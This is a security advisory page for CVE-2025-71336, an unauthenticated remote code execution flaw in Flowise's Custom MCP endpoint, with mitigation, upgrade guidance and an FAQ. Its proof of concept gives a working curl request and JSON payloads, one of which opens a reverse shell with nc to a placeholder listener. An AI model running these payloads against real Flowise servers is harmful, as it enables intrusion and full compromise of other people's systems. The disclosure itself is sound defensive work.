CVE-2025-71336: Flowise has unsandboxed remote code execution via Custom MCP

Published Sep 15, 2025
·
Updated

Summary The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISEUSERNAME and FLOWISEPASSWORD environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

PoC 1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

2. Create a new file named payload.json somewhere in your machine, with the following data: {"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}

3. Send the following curl request using the payload.json file created above with the following command: curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"

4. Observe that a new file named yofitofi is created under /tmp folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload: {"inputs":{"mcpServerConfig":{"command": "nc","args": [ "<LISTENERIPADDRESS>","<LISTENERPORT>","-e","/bin/sh" ]}}, "loadMethod":"listActions"}

!Pasted image 20250420132335

Impact Remote code execution

Mitigation - Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform. - Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature. - Consider running Custom MCPs within a sandboxed environment

Credit The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Other sources

Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.

— MITRE

Affected Software

3 affected componentsFixes available
Flowise Flowise<3.0.6
FlowiseAI Flowise<3.0.6
npm/flowise>=2.2.7-patch.1<3.0.6
3.0.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/flowise to a version that resolves this vulnerability.

    Fixed in 3.0.6
  2. Upgrade

    Upgrade Flowise to a version that resolves this vulnerability.

    Fixed in 3.0.6
  3. Configuration

    Configure FLOWISE_USERNAME and FLOWISE_PASSWORD so the default installation does not operate without authentication.

    Flowise FLOWISE_USERNAME and FLOWISE_PASSWORD = set
  4. Configuration

    Disable the Custom MCP feature by default unless it is required.

    Flowise Custom MCP Custom MCP feature = disabled
  5. Compensating control

    Add access controls around the sensitive Custom MCP functionality, limiting configuration and use to authorized users such as Admin roles.

  6. Compensating control

    Run Custom MCPs within a sandboxed environment to limit the impact of unsandboxed OS command execution.

Event History

Sep 15, 2025
Advisory Published
via OSV·08:30 PM
Data Sourced
via OSV·08:30 PM
DescriptionSeverityWeaknessAffected Software
Jun 25, 2026
CVE Published
via MITRE·09:41 PM
Data Sourced
via MITRE·09:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-71336?

The severity of CVE-2025-71336 is rated as critical with a score of 9.3.

2

What types of systems are affected by CVE-2025-71336?

CVE-2025-71336 affects Flowise versions 2.2.7-patch.1 and earlier, specifically versions prior to 3.0.6.

3

How do I fix CVE-2025-71336?

To fix CVE-2025-71336, upgrade Flowise to version 3.0.6 or later.

4

What type of vulnerability is CVE-2025-71336?

CVE-2025-71336 is identified as an unsandboxed remote code execution vulnerability due to OS command injection.

5

What is the impact of CVE-2025-71336 on my system?

CVE-2025-71336 could allow an attacker to execute arbitrary OS commands, leading to potential full compromise of the system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203